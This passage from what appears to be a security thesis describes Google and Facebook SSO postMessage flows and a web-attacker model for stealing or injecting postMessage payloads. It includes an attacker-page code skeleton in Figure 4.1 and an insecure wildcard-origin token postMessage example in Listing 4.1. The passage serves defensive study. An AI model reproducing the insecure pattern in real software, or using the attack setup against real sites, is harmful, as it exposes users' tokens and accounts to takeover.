valid for the given client_id. If it is valid, the postMessage destination and origin
checks ensure that only this origin can send or receive messages to or from the
proxy iframe.

Step 3 – monitorClient If the origin is valid for the given client_id, the endpoint re-
turns {"valid":true} to the proxy iframe, which relays this response as RPC
response with postMessage to the SP website.

Step 4 – getSessionSelector For each SP website, the proxy iframe stores a session
identifier (hint) and session state (disabled) – also referred to as session selector
– in localStorage. Since Google supports having multiple sessions simultaneously
(i.e., to switch accounts instantly), the proxy iframe needs to remember which
session the End-User uses on which SP to log in, in addition to the current login
status on the SP. The session selector may be shared across multiple subdomains
on the SP (i.e., the End-User uses session XYZ to log in on alice.sp.com and
bob.sp.com) or is specific to the subdomain (i.e., the End-User uses session XYZ
to log in on alice.sp.com and session UVW on bob.sp.com). In this example, the
SP website requests the session selector that is valid for all subdomains on sp.com,
including the domain itself.

Step 5 – getSessionSelector The proxy iframe retrieves the corresponding session se-
lector from localStorage and returns the session identifier (hint) and state (disabled)
as RPC response. The hint is an opaque string that uniquely identifies the Google
session the End-User uses to log in on sp.com. The disabled status indicates
whether the End-User is logged out on the SP side (true) or not (false).

Step 6 – getTokenResponse If the End-User did not sign out on the SP previously (i.e.,
disabled = false), an active Google session exists (i.e., hint is returned), and the
SP knows which Google session is used by the End-User to log in on itself (i.e., hint
= XYZ), it sends the getTokenResponse RPC to the proxy iframe. Besides generic
authnReq parameters, the SP specifies the Google session (i.e., loginHint = XYZ)
that should be used to retrieve the authnResp. The iframe proxy forwards this
RPC to the iframerpc endpoint.

Step 7 – getTokenResponse The iframerpc endpoint returns the authnResp to the proxy
iframe, which first caches the tokens in sessionStorage and finally forwards the
authnResp as RPC response to the SP website. If the SP website repeats the
getTokenResponse RPC (i.e., on page reload or navigation), the proxy iframe re-
turns the cached authnResp.

If the End-User logs out of the SP website using the signOut() method of the SDK,
the proxy iframe sets the disabled parameter in localStorage to true. If the SP web-
site receives a disabled = true parameter on the getSessionSelector RPC, it does not
automatically issue the getTokenResponse RPC.

alice.sp.com
bob.sp.com
alice.sp.com
bob.sp.com
sp.com
sp.com
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3.3.2.2 Google Sign-In: Popup Flow

Figure 3.3 depicts the popup flow that is executed if the End-User has no active session
on Google. The flow was captured in a fresh private browsing window (i.e., with empty
storage and no session on Google). In this scenario, user interaction is required, for
instance to (1) log in on Google, (2) agree to the consent (if not established), and
(3) update the session selector.

Therefore, Google Sign-In uses a popup window in which the End-User logs in on Google
and agrees to the consent. Steps 1-4 are identical to the iframe flow, but starting with
step 5, the flow di�ers as follows:

Primary Window
https://sp.com

iframe on https://accounts.google.com
/o/oauth2/iframe#origin=https://sp.com
&rpcToken=ABC

 {"id": "002", "rpcToken": "ABC"}5
{"method": "listIdpSessions",

"params": {"clientId": "<SP>", "request": {...}, 
"sessionSelector": {...}, "id": "003", "rpcToken": "ABC"}

 {"id": "003", "result": {"scope": "openid profile email",
 "sessions": []}, "rpcToken": "ABC"}

https://accounts.google.com/o/oauth2/auth
?redirect_uri=storagerelay://https/sp.com?id=789

Sign in on sp.com

Email
Password

Submit & Consent
6

7
 {"method": "fireIdpEvent", "params": {"type": 
 "sessionStateChanged", "clientId": "<SP>"}, "rpcToken": "ABC"}

{"method": "fireIdpEvent", "params": {"type": "authResult", 
"clientId": "<SP>", "id": "789", "authResult": {"scope": "email 
profile openid", "id_token": "eyJh...", "login_hint": "XYZ", 
"client_id": "<SP>"}}}

9

10.2

10.1

window.open()8

{"method": "setSessionSelector", "params": 
{"domain": "https://sp.com", "crossSubDomains": true, 

"hint": "XYZ", "disabled": false}, "rpcToken": "ABC"}
11

{"method": "fireIdpEvent", "params": {"type": 
"sessionSelectorChanged", "newValue": {"hint": "XYZ", 
"disabled": false}, "domain": "https://sp.com", 
"crossSubDomains": true}, "rpcToken": "ABC"}

12
{"method": "getTokenResponse", "params": {...,  

"forceRefresh": true}, "id": "004", "rpcToken": "ABC"} 

 {"id": "004", "result": {...}, "rpcToken": "ABC"}

13

14

Figure 3.3: Google Sign-In popup flow. This flow is executed if the End-User has no
active session on Google. Solid lines are postMessage messages.

Step 5 – getSessionSelector Since localStorage does not contain any session selectors,
the getSessionSelector RPC returns no entries.

Step 6 – listIdpSessions The SP website issues the listIdpSessions RPC to the proxy
iframe. This RPC requests the identifiers of the sessions the End-User has on
Google.

Step 7 – listIdpSessions Because the End-User is not logged in on Google and thus
has no sessions, the proxy iframe returns an empty list in the RPC response.
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Step 8 At this point, the SDK on the SP website concludes that the End-User is not
logged in and thus needs further authentication. Therefore, two options are pro-
vided: (1) the End-User manually clicks on a “Sign in with Google” button,
or (2) the developer automatically invokes the gapi.auth2.getAuthInstance() Ê

.signIn() method. In both cases, a new popup window is opened that navigates to
the authnEndp. The redirect_uri parameter contains the storagerelay:// URI
scheme that requests the popup window to return the authnResp with the postMes-
sage API (i.e., window.opener.postMessage(...)) to the SP website. Historically,
the authnResp was sent from the popup window to the proxy iframe via a web
storage event7, but this is now replaced with the postMessage API.

Step 9 The End-User authenticates and agrees to the consent.

Step 10.1 – sessionStateChanged The proxy iframe monitors the Google sessions with
cookies. Once it detects a change in state, it sends the sessionStateChanged event
to the SP website.

Step 10.2 – authResult The popup window returns the authResult event back to its
opener – the SP website. Note that the id_token included in this message is not
provided to the developers. Instead, only the login_hint parameter is used in the
next step.

Step 11 – setSessionSelector The login_hint parameter returned in step 10.2 is sent
in the setSessionSelector RPC to the proxy iframe and is subsequently written to
localStorage. Thus, the iframe remembers the Google session the End-User used
to log in on the SP.

Step 12 – sessionSelectorChanged Once the localStorage session selector is updated,
the proxy iframe sends the sessionSelectorChanged event to the SP website.

Step 13 – getTokenResponse Finally, the SP website sends the getTokenResponse RPC
and forces the proxy iframe to ignore the cache and return a new authnResp from
the IdP backend.

Step 14 – getTokenResponse The iframe proxy returns the fresh authnResp from the
backend to the SP website.

3.3.3 Protocol Description: Google One Tap Sign-In and Sign-Up

Figure 3.4 depicts the Google One Tap Sign-In and Sign-Up flow that is executed if the
End-User has an active session on Google. Note that the “one tap” part only succeeds if
the End-User is logged in on Google – otherwise, clicking the “Continue as Axel” button
starts a popup flow similar to Figure 3.3 in which the End-User logs in on Google. The

7I.e., the popup stores the authnResp in localStorage and the proxy iframe listens for any changes in
localStorage. If the proxy iframe detects a change, it extracts the authnResp from localStorage and
relays it to its parent – the SP website.
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basic idea of Google One Tap is straightforward: the consent UI is displayed in an iframe
– called the one tap iframe – on the SP website such that a single click on the “Continue
as Axel” button returns the authnResp to the SP website.

Primary Window
https://sp.com

iframe on https://accounts.google.com/gsi/iframe/select
?client_id=<SP>&auto_select=false&nonce=123
&channel_id=XYZ&origin=https://sp.com

{" type" : " readyForConnect" , "channelId" : "XYZ"}

{" type" : "channelConnect" , "nonce" : "ABC"} || c.port2

Generate random nonce
channelId = SHA-256(nonce)

channelId =? SHA-256(nonce)
c = new MessageChannel()

SHA-256(nonce) =? channelId
{" type" : "command" , "command" : " resize" , "height" : 272}

port2 port1

{" type" : "command" , "command" : "cancel_protect_start" }
port2 port1

{" type" : "activity" , "activity" : {" timestamp" : 1577836800,
" type" : "user_action" , "userActivityType" : "confirm_credential" }}

port2 port1

{" type" : " response" , " response" : {"clientId" : "<SP>" , "credential" : "<ID_TOKEN>" , 
"select_by" : "user_1tap" }, "announcement" : "Signed in as axel.attacker@gmail.com"}

port2 port1

client_id=<SP>&origin=https://sp.com&nonce=123
&select_by=user_1tap&consent_acquired=true

<ID_TOKEN>

https://accounts.google.com/gsi/issue

1

2
3

4

6

7

8

9

5

Figure 3.4: Google One Tap Sign-In and Sign-Up flow. This flow is executed if the End-
User has an active session on Google. Solid lines are postMessage messages,
dashed lines are MessageChannel messages, and dotted lines are XHRs or
Fetch requests.

The basic flow works as follows:

Step 1 The SDK on the SP website generates a random nonce (i.e., ABC) and sets the
channelId to the SHA-256 hash value of the nonce. For sake of simplicity, we
assume that the SDK generates nonce = "ABC" and that "XYZ" = SHA-256("ABC").
The SDK adds a new iframe to the DOM and passes over the channelId as query
parameter. Note that the nonce query parameter is not the nonce generated by the
SDK, but is the standardized OIDC authnReq parameter that is mirrored in the
id_token for replay protection.

Step 2 Once the one tap iframe is loaded, it returns the channelId query parameter
back to the SP website with postMessage and thus indicates that it is “ready to
connect”.

Step 3 The SP website validates whether the channelId returned in step 2 belongs to
the nonce and if it does, creates a new MessageChannel.
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Step 4 The SP website passes port2 of the MessageChannel as Transferable object to
the one tap iframe, along with its nonce.

Step 5 The one tap iframe validates if the received nonce from step 4 belongs to the
channelId. If is does, it receives port2 of the MessageChannel and uses it for
subsequent communication.

Step 6 Based on existent or non-existent End-User consent, the UI is either compact or
contains more details. For instance, the UI shown in Figure 3.4 displays the consent
information: “To create your account, Google will share your name, email address,
and profile picture with sp.com. [...]”. This information is only shown if the End-
User does not have pre-established consent. The resize command instructs the
SDK to resize the iframe according to the wealth of information that is shown in
the UI.

Step 7 The SDK provides event listeners to developers to react upon specific events.
The cancel_protect_start command and confirm_credential event are sent to
the SP website if the End-User clicks the “Continue as Axel” button.

Step 8 The one tap iframe requests the authnResp from its backend. The consent_acquired
query parameter specifies if the End-User agreed to the consent (i.e., used the one
tap sign-up) or if the consent was already established (i.e., used the one tap sign-
in).

Step 9 The one tap iframe finally forwards the authnResp, including the id_token with
nonce claim, to the SP website.

Clickjacking The OAuth standard [35, Section 10.13] describes a clickjacking attack
in which an attacker embeds the authentication & consent UI in a hidden iframe and
carefully places a dummy button under the invisible “agree to consent” button within
the iframe. If the End-User clicks the dummy button, it actually clicks the “agree to
consent” button and thus is tricked into granting the SP access to its resources. To
prevent this form of attack, IdPs must protect its authentication & consent UI against
framing, for instance using the X-Frame-Options response header. However, Google One
Tap Sign-In and Sign-Up relies on embedding the consent UI as an iframe.

To protect against the described clickjacking attack while allowing to frame the UI,
Google One Tap uses the Intersection Observer v2 API8. This API tracks the actual
visibility of a target element as a human would define it. The one tap iframe invokes this
API and receives a boolean true if it is completely visible to the End-User (i.e., located
in the viewport, no opacity changes, no transforms or visual e�ects, no intersection with
other elements, etc.). If the one tap iframe receives a false and the End-User clicks the
“Continue as Axel” button, it falls back to a popup flow similar to Figure 3.3 in which

8More details on https://developers.google.com/web/updates/2019/02/intersectionob
server-v2.

https://developers.google.com/web/updates/2019/02/intersectionobserver-v2
https://developers.google.com/web/updates/2019/02/intersectionobserver-v2
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the End-User interacts with the popup. Note that browser support of the Intersection
Observer v2 API is still limited9 such that Firefox and Safari fall back to the popup
flow.

3.4 Identity Provider: Facebook

Facebook Login supports two scenarios: (1) it authorizes data access to its own APIs and
(2) provides authentication for third-party sign in across several devices. The protocol is
based on the OAuth 2.0 Authorization Framework, but introduces several new concepts
that enable the “authentication part”, which is naturally not supported by OAuth.
Facebook provides access to its SSO framework as follows:

Facebook Login includes OAuth 2.0 endpoints that provide authorization for several
Facebook APIs to access the user’s profile, posts, groups, conversations, Instagram
profile, and more. The same endpoints provide End-User authentication that is
inspired by custom design ideas. Section 3.4.2 describes all non-normative authen-
tication specifics within the Facebook Login protocol.

Facebook Login Web SDK is adapted to web applications and further deviates from
the Facebook Login protocol. Details on the flow executed by the SDK are exposed
in Section 3.4.3.

Facebook Login Platform SDKs include platform-specific integrations for iOS, Android,
and desktop applications. They are considered as out of scope.

3.4.1 Client Registration

Developers must manually create a new app within the Facebook Developer Portal by
configuring (1) basic and advanced application settings and (2) Client OAuth settings.
Each app is an individual Client and has its own app id (client_id) and symmetric app
secret (client_secret).

The basic and advanced application settings are configured as follows:

General information includes the application’s display name, contact email address,
privacy policy URL, terms of service URL, and app icon that are shown on the
consent UI.

Scopes are managed similar to Google. Sensitive permissions require manual app re-
view – the default scopes public_profile and email are whitelisted and permitted
without an app review. Incremental authorization of scopes is supported as well.

9More details on https://caniuse.com/?search=intersection%20v2.

https://caniuse.com/?search=intersection%20v2
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App domains are the authorized domains allowed to access the Facebook APIs, for
example to initialize the Facebook Login SDK. Similar to Google’s authorized do-
mains, Facebook uses Referer and Origin header validation to restrict access.

Native or desktop app toggle specifies whether the app secret is considered as public
or private. If it is considered as public, the Implicit flow must be used, since the
code redemption on the tokenEndp is disabled and returns an error: “The request
is invalid because the app is configured as a desktop app”.

The Client OAuth settings are configured as follows:

Client OAuth login toggle enables or disables all OAuth flows, including the auth-
nEndp, tokenEndp, and all SDKs.

Web OAuth login toggle enables or disables all web-related OAuth flows, including
manual integration with the authnEndp and tokenEndp, as well as the Facebook
Login SDK on the web.

Devices OAuth login toggle enables or disables the OAuth flow on input-restricted de-
vices.

Force web OAuth re-authentication toggle requires End-Users to re-authenticate each
login flow separately.

OAuth redirect URIs allow to register the redirectionEndp on the Client. The “Strict
Mode” and “Enforce HTTPS” toggles are mandatory such that only https URI
schemes are allowed and the redirect_uri parameter is validated on an exact
match. Redirection mechanisms provided by Facebook are summarized in Ta-
ble 3.3.

Deauthorize callback specifies an endpoint that receives a signed_request if an End-
User revokes the consent.

Data deletion callback specifies an endpoint that receives a signed_request if an End-
User explicitly requests the SP to delete all data associated to its account.

3.4.2 Protocol Description: Facebook Login

Facebook Login uses the OAuth 2.0 Authorization Framework to provide standard-
compliant authorization and non-standardized authentication. Both parts of the pro-
tocol are closely related to OAuth, but introduce authentication specifics. Therefore,
Tables A.2 to A.5 in Appendix A.1 summarize the standard-compliant part of the Face-
book Login protocol, while this section introduces the peculiarities of the protocol.

Authentication The OAuth 2.0 specification states that “any specification that uses the
authorization process as a form of delegated End-User authentication to the client (e.g.,
third-party sign-in service) MUST NOT use the implicit flow without additional security
mechanisms that would enable the client to determine if the access token was issued for
its use (e.g., audience-restricting the access token)” [35, Section 10.16]. OpenID Connect
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Table 3.3: Redirection mechanisms supported by Facebook.
Redirection Mechanism Supp. Notes

Regular Web-Based URI 3 Only https scheme.
Private-Use URI Scheme 3 Only fb<APP_ID>:// and ms-app:// schemes.
Claimed https URI Scheme 3 Same as regular web-based URI.
Loopback Localhost & IPv4
& IPv6

3 Only https scheme and no ephemeral ports.

Manual Copy-and-Paste 7 –
Automatic Extraction 3 Embedded UA redirects to https://www.face

book.com/connect/login_success.html, which
returns a simple “Success” message. The na-
tive app extracts the code from the query
string. After two seconds, the JS on the
login_success endpoint removes the code from
the query string.

1.0 provides audience restriction with its aud claim in the id_token – that is, the SP can
explicitly validate whether the id_token was issued for itself. Facebook Login provides
opaque OAuth access_tokens to the SP for End-User authentication. If the Implicit
flow is applied, the SP cannot validate whether the access_token was issued for itself
or for an arbitrary other, potentially malicious SP. Note that if the Code flow is used,
the code, which is bound to the client_id and client_secret, ensures that the SP only
receives access_tokens that are intended for it.

Facebook provides a token debugging endpoint on https://graph.facebook.com/debug
_token that supplements the absent audience restriction of access_tokens. On input of
an access_token, this endpoint returns the app_id of the SP that this token is intended
for (aud claim), the user_id of the End-User that owns this token (sub claim), whether
it is valid, and several other fields (i.e., expiration and associated scopes).

Signed Request The signed_request is Facebook’s version of the id_token: it is a
base64url-encoded token that is symmetrically integrity protected with HMAC-SHA256. It
is not a JWT and instead prepends the HMAC to the claims: <bytes>.{"user_id": "[ Ê

...]", "code": "[...]", "algorithm": "HMAC-SHA256", "issued_at": 1577836800}.

The HMAC is generated using the symmetric app secret of the appropriate SP. This
symmetric integrity protection provides implicit audience restriction out of the box –
that is, if the SP successfully verifies the HMAC of the signed_request, it can implicitly
assume that it was issued by the IdP for itself. Only the SP that knows the symmetric
app secret can successfully validate the signed_request.

fb%3CAPP_ID%3E://
ms-app://
https://www.facebook.com/connect/login_success.html
https://www.facebook.com/connect/login_success.html
https://graph.facebook.com/debug_token
https://graph.facebook.com/debug_token
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To authenticate the End-User, the SP can either use the user_id contained within the
signed_request to retrieve the user entry from its database or alternatively redeem
the code at the tokenEndp in exchange for an access_token. Note that the redirect_uri
parameter within the tokenReq must be empty, since the code within the signed_request
is not bound to any redirect_uri. Other than that, the tokenreq is structured as shown
in Table A.4.

Refresh Token Facebook provides access_tokens in two forms:

(1) short-lived access_tokens and (2) long-lived access_tokens.

While short-lived access_tokens are usually valid for approximately one to two hours,
long-lived access_tokens have a lifetime of about 60 days. Short-lived tokens obtained
from the general web login flow can be converted into long-lived tokens using the
grant_type = fb_exchange_token on the tokenEndp with client_id, client_secret, and
fb_exchange_token = <SHORT_LIVED_AT> parameters. Once the long-lived access_token
expires, the SP needs to restart the login flow with the End-User to receive a new short-
lived access_token and finally convert this token into a long-lived access_token. The
concept of refresh_tokens is not supported by Facebook.

3.4.3 Protocol Description: Facebook Login SDK

Figure 3.5 depicts the flow that is executed if the SP integrates the Facebook Login
button on its website10. If the End-User clicks on the “Continue as Axel” button, user
interaction may or may not be required, depending on whether the End-User has a
session on Facebook and pre-established consent. In any case, the popup window shown
in Figure 3.5 is always opened.

The flow is executed as follows:

Step 1 – init Once the SDK is initialized with FB.init(), it adds an iframe – also re-
ferred to as the button iframe – to the DOM. The iframe displays the personalized
“Continue as Axel” button shown in Figure 3.5. Despite the standardized query pa-
rameters (i.e., client_id and scope), following parameters are passed to the button
iframe: (1) auto_logout_link specifies whether the button displays “Log Out” and
implements the logout function if the End-User is logged in, (2) use_continue_as
activates the personalized content (i.e., name and picture) within the button, and
(3) channel specifies the origin of the SP and position in the frame hierarchy.

Step 2 – plugin_ready If the button iframe is loaded, it instructs the SDK to resize it
accordingly and indicates that “it is ready” to proceed with the flow.

10I.e., by including the following HTML snippet: <div class="fb-login-button"></div>.
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Primary Window
https://sp.com

Popup Window
https://www.facebook.com/v8.0/dialog/oauth
?client_id=<SP>
&redirect_uri=https://staticxx.facebook.com/x/connect/xd_arbiter/
#origin=https://sp.com&relation=opener.parent
&response_type=code,token,signed_request&scope=public_profile,email

iframe on https://www.facebook.com/v8.0/plugins/login_button.php
?client_id=<SP>&scope=public_profile,email&auto_logout_link=true
&use_continue_as=true&channel=https://staticxx.facebook.com
/x/connect/xd_arbiter/#origin=https://sp.com&relation=parent

Sign in on sp.com

Email
Password

Submit & Consent

var origin = "https://sp.com";
var relation = opener.parent;
var message = "origin=https://sp.com&relation=opener.parent
&signed_request=[...]&access_token=[...]&expires_in=[...]&code=[...]"; 

type=resize & width=300 & height=40

xd_action=plugin_ready & origin=https://sp.com & relation=parent

type=login_button_prepare_call & params=
{"client_id": "<SP>", "scope": "public_profile,email",

"response_type": "code,token,signed_request"} 
& origin=https://sp.com & relation=parent

origin=https://sp.com
& relation=opener.parent & signed_request=[...]

& access_token=[...] & expires_in=[...] & code=[...]

{"xdArbiterHandleMessage": true, "message": {
"method": "loginButtonStateInit", "params": {"call": 

{"url": "authnReqURL", "params": {"client_id": "<SP>", 
"response_type": "code,token,signed_request", 

"scope": "public_profile,email", 
"redirect_uri": "https://staticxx.facebook.com/x/connect/xd_arbiter/

#origin=https://sp.com&relation=opener.parent"}}}}, 
"origin": "https://sp.com"}

window.open(authnReqURL)

type=login_button_click & params={"call":{...}}
& origin=https://sp.com & relation=parent

{"xdArbiterHandleMessage": true, 
"message": {"method": "loginComplete", 

"params": {"status": "connected"}}, "origin": "https://sp.com"}

{"xdArbiterHandleMessage": true, "message": {
"method": "loginReload", "params": {"authResponse": 

{"accessToken": "[...]", "userID": "[...]", "expiresIn": 7200, 
"signedRequest": "[...]"}}}, "origin": "https://sp.com"}
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Figure 3.5: Facebook Login SDK flow. Solid lines are postMessage messages.

Step 3 – login_button_prepare_call In this message, the button iframe sends its pre-
ferred initialization parameters to the SP (i.e., it relays the client_id and scope
query parameters and chooses an appropriate response_type).

Step 4 – loginButtonStateInit The SDK initializes the button iframe by sending an
appropriate authnReq URL and the standardized OAuth parameters.

Step 5 – login_button_click If the End-User clicks on the “Continue as Axel” button,
the button iframe sends the login_button_click message to the SP website and
opens the authnReq URL received in step 4 in a new popup window.

Step 6 – auth & consent If the End-User has no session on Facebook and/or has no
pre-established consent on the SP, it logs in on Facebook and/or agrees to the
consent.

Step 7 – xd_arbiter In this step, the xd_arbiter endpoint within the redirect_uri
plays an important role. First, the https://staticxx.facebook.com/x/connec

https://staticxx.facebook.com/x/connect/xd_arbiter
https://staticxx.facebook.com/x/connect/xd_arbiter
https://staticxx.facebook.com/x/connect/xd_arbiter
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t/xd_arbiter redirect_uri is whitelisted for all SPs. If this redirect_uri is se-
lected by the SP, Facebook does not perform any redirects but instead returns the
authnResp with postMessage. That is, once the End-User is authenticated and
has consent, the authnEndp returns the JS variables shown in the popup window:
origin, relation, and message. The origin and relation parameters are passed to
the authnEndp within the hash fragment of the redirect_uri11 and are validated
by the backend server such that the origin JS variable only contains trusted ori-
gins of the respective Client. The relation variable points to the SP website by
selecting the opener (button iframe) and its parent (primary window).

Step 8 – authnResp The authnResp, which includes the requested tokens, is returned
to the SP website with postMessage.

Step 9 – loginComplete The SP website informs the button iframe about the completed
login flow.

Step 10 – loginReload The SP website forwards the authnResp from step 8 to the but-
ton iframe. The authnResp is not cached (i.e., in localStorage or sessionStorage)
by the SP website or button iframe.

11Note: For display purposes, the entire authnReq URL is URL-decoded. The backend receives the entire
URL shown in the popup window, including the URL-encoded fragment part of the redirect_uri.

https://staticxx.facebook.com/x/connect/xd_arbiter
https://staticxx.facebook.com/x/connect/xd_arbiter
https://staticxx.facebook.com/x/connect/xd_arbiter




4 PostMessage Security in Single Sign-On

In this chapter, the security implications of the postMessage API in general and its us-
age in Single Sign-On protocols are studied. Section 4.1 introduces the attacker model
related to postMessage. Section 4.2 describes the various security considerations of the
postMessage API, including the security checks developers needs to implement. Sec-
tion 4.3 suggests postMessage analysis and debugging techniques that were used during
the security analyses. Sections 4.4 and 4.5 reveal the actual postMessage security analy-
ses performed on Single Sign-On SDKs and real-world Service Provider implementations.
Section 4.6 describes the responsible disclosure process and Section 4.7 proposes secu-
rity recommendations for developers to securely implement postMessage into their web
applications.

4.1 Attacker Model

In this thesis, the pure web attacker model is assumed [1]: the attacker is a malicious
principal controlling its own web server and website (i.e., attacker.com) with a valid
certificate. It owns the domain name and can register arbitrary subdomains on it. The
attacker can neither act as a Man-in-the-Middle (MITM) and observe or manipulate the
victim’s network tra�c nor infect the device or web browser. It is assumed that web
browsers are implemented securely – especially the SOP is correctly enforced by the web
browser.

Further it is assumed that the victim’s web browser supports the postMessage API, such
as Chrome v4 and newer, Firefox v3 and newer, Safari v4 and newer, and Edge v12 and
newer1. Note that IE v8-11 may fail to execute the attack as it only has partial support
for the postMessage API.

Figure 4.1 depicts the general attack setup applied in the postMessage security analyses
within this thesis. First, the attacker lures the victim into visiting its malicious website,
as for instance in terms of spam, advertising messages, social engineering, and more.
If the victim navigates to the malicious website, the attacker interacts with a targeted
website to attack. In this thesis, the targeted website is a SP providing services to the
victim on proper authorization or authentication. The SP uses SSO – in specific OAuth
or OIDC – for authorization or authentication of the victim.

1Supported web browsers are listed on https://caniuse.com/?search=document%20messaging.

attacker.com
https://caniuse.com/?search=document%20messaging
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Primary Window
attacker.com

iframe on sp.com

f unct i on spRecei ver ( event )  {
pr ocess( event ) ;

}

wi ndow. par ent . post Message( . . . ) ;

Popup Window
sp.com

f unct i on spRecei ver ( event )  {  
pr ocess( event ) ;

}

wi ndow. opener . post Message( . . . ) ;

f unct i on at t acker Recei ver ( event )  {
expl oi t ( event . dat a) ;

}

/ /  At t ack popup on sp. com
popup. post Message( . . . ) ;

/ /  At t ack i f r ame on sp. com 
wi ndow. f r ames[ 0] . post Message( . . . ) ;

MessageEvent

MessageEvent

Victim

opens

Figure 4.1: Attack setup in the postMessage security analysis.

The attacker’s interactions with the targeted SP are initiated from the malicious web-
site’s execution context in the victim’s web browser. The postMessage API provides the
appropriate tools to interact between the malicious website’s browsing context and the
targeted Service Provider’s browsing context. The attacker’s goal is to either (1) in-
ject a malicious postMessage payload into the target website or (2) receive a confidential
postMessage payload from the targeted website.

Therefore, the attacker either (1) embeds the target website in an iframe or (2) opens the
target website in a new popup window. The appropriate method to choose depends on
the attack setup. For instance, if the target website is generally embedded within another
website on the SP and thus uses window.parent to communicate with its relative, the
attacker must embed the target website in an iframe. If the target website is generally
opened as a new popup window from another website on the SP and thus uses window Ê

.opener to communicate with its relative, the attacker must open the target website in
a new popup window. Note that the victim is unaware of the attack if invisible iframes
are used. By contrast, the victim perceives popup windows being opened.

The attacker’s execution context may open the targeted website in an authenticated
state. If iframes are embedded on the malicious website, third-party cookies may be
enabled within the web browser. Certain configurations with SameSite cookies2 may
prevent the attack execution as well. However, these requirements are subject to the
concrete implementation. In this thesis, we did not find any attacks being mitigated
through third-party or SameSite cookies.

2SameSite=Strict prevents the iframe and popup window from adopting an authenticated state.
SameSite=Lax only prevents the iframe from adopting an authenticated state. SameSite=None
has no preventative e�ects.
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Figure 4.1 exposes the two attack scenarios within this thesis:

1. The malicious website (1) embeds the targeted website in an iframe or (2) opens the
target website in a new popup window and sends a malicious postMessage payload
to that (1) iframe or (2) popup. The targeted website receives the malicious
postMessage payload and may process it.

2. The malicious website (1) embeds the targeted website in an iframe or (2) opens
the target website in a new popup window. The targeted website sends a poten-
tially confidential postMessage payload (i.e., passwords or tokens) (1) to its parent
window or (2) to its opener window. The attacker may receive the confidential
postMessage payload and use it for further exploitation.

4.2 Security Considerations

Insecure use of the postMessage API is fraught with danger. In fact, the OWASP HTML5
Security Cheat Sheet3 considers web messaging as a top security threat in HTML5 and
requires developers to implement non-trivial security checks. Thus, the responsibility
of implementing the postMessage API in a secure manner is outsourced to developers.
Section 4.5 proves that this results in an increased attack surface, as security issues with
severe impact may arise.

Section 4.2.1 defines the security checks developers must implement when using the
postMessage API. Section 4.2.2 proposes further techniques to defend websites from
being framed or opened by a malicious website. Section 4.2.3 finally adapts the security
considerations to the Channel Messaging API.

4.2.1 Security Checks

Websites using the postMessage API for cross-origin communication must implement
destination checks, origin checks, and if applicable, must perform input validation on
the received postMessage payload, as described in Sections 4.2.1.1 to 4.2.1.3.

4.2.1.1 Destination Check

The postMessage destination check provides control over which origin is allowed to
receive the postMessage payload. That is, the web browser controls whether the actual
MessageEvent is dispatched within the postMessage receiver on the target window. The
destination check must be implemented by the postMessage sender on the source window.

3Available on https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat
_Sheet.html.

https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html
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If this check is omitted, information leakage (i.e., token leakage) may arise. If tokens
are leaked in a SSO setup, this may lead to account takeover.

Static Destination Check Listing 4.1 reveals three exemplary postMessage sender im-
plementations. The destination check is statically – URL is hard-coded in the JS source
code – implemented with the second parameter of the Window.postMessage() method. In
general, this parameter contains a URL with protocol, host, and (optional) port compo-
nents. If no port is specified, the default port of the protocol is applied. Still, the URL
may contain optional HTTP Basic authentication scheme, path, query, and fragment
components. In this case, the web browser extracts the origin (i.e., the protocol, host,
and port components) and applies the destination check as usual.

Developers are also provided with the option to use the wildcard origin as destination
check. If used, the web browser does not enforce any checks and thus, all origins are able
to receive the MessageEvent. Therefore, the wildcard origin must not be used, unless the
postMessage payload is open to the public.

Listing 4.1: Static postMessage destination check.
1 // (protocol,host,port) = (https,"sp.com",443)
2 window.parent.postMessage("token=[...]", "https://sp.com");
3
4 // (protocol,host,port) = (https,"sp.com",8080)
5 window.parent.postMessage("token=[...]",

"https://alice:pwd@sp.com:8080/path?param=value#fragment");Òæ

6
7 // (protocol,host,port) = (any,any,any) -> THIS IS INSECURE
8 window.parent.postMessage("token=[...]", "*");

Dynamic Destination Check The URL within the second parameter of the Window Ê

.postMessage() method implies that the postMessage destination check is restricted to
a single origin only. In practice, websites may need a way to send the same postMessage
payload to multiple websites with di�erent origins.

For instance, consider a hosting website (i.e., weather service) providing data to multi-
ple consumer websites using the postMessage API. Each consumer website embeds the
hosting website as iframe. The hosting website uses window.parent.postMessage() to
provide the data to the consumer website. Only the consumer websites should be able
to receive the data from the hosting website, thus the wildcard origin must not be used.
In this scenario, the following methods may be applied:

[DC-1] The consumer website embeds the hosting website as iframe. The hosting website
includes the window.parent.postMessage() method multiple times in its JS code.
Each method uses a di�erent, hard-coded URL of a consumer website as destina-
tion check. The postMessage payload remains the same across all methods. (+)
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Secure and straightforward. (-) Scalability issues with a growing number of con-
sumer websites. The JS code must include as many window.parent.postMessage()
methods as there are consumer websites.

[DC-2] The consumer website appends its origin to the hash fragment of the hosting
website’s URL and embeds the resulting URL as iframe. The JS code of the
hosting website within the iframe extracts the origin from the hash fragment and
validates it. The validation process is implementation-specific. For instance, the
hosting website uses a string compare, (secure) regular expression, or issues a
background request to its validation server, which implements the origin validation
logic and returns a boolean on whether the origin is trusted or not. If the origin
is trusted (i.e., matches any of the consumer websites), it is included into the
window.parent.postMessage() call as destination check. Otherwise, the window Ê

.parent.postMessage() call is omitted. (+) Solves the scalability issues. (-) Adds
an increased attack surface, since the hosting website or hosting website’s validation
server must properly validate the origin provided by the consumer website in the
hash fragment.

[DC-3] The consumer website appends its origin to the query string of the hosting
website’s URL and embeds the resulting URL as iframe. The hosting website’s
backend server validates the origin within the query parameter. For instance,
the server might compare the origin against a static, hard-coded set of origins
within its database of consumer websites. If an exact match is found, the server
dynamically generates a JS script, includes the received origin into the window Ê

.parent.postMessage() call as destination check, and returns the script to the
iframe on the consumer website. If no match is found, the server returns an error.
(+) Solves the scalability issues. (-) Adds an increased attack surface, since the
hosting website’s backend server must properly validate the origin provided by the
consumer website in the query string.

[DC-4] The consumer website embeds the hosting website as iframe and issues a Re-

mote Procedure Call via the postMessage API to the iframe. The hosting web-
site within the iframe receives the RPC, extracts the origin from the RPC (i.e.,
the issuer of the RPC), and validates it. The validation process is implementation-
specific. For instance, the hosting website uses a string compare, (secure) regular
expression, or issues a background request to its validation server, which imple-
ments the origin validation logic and returns a boolean on whether the origin is
trusted or not. If the origin is trusted (i.e., matches any of the consumer web-
sites), the hosting website within the iframe returns the data as a response to the
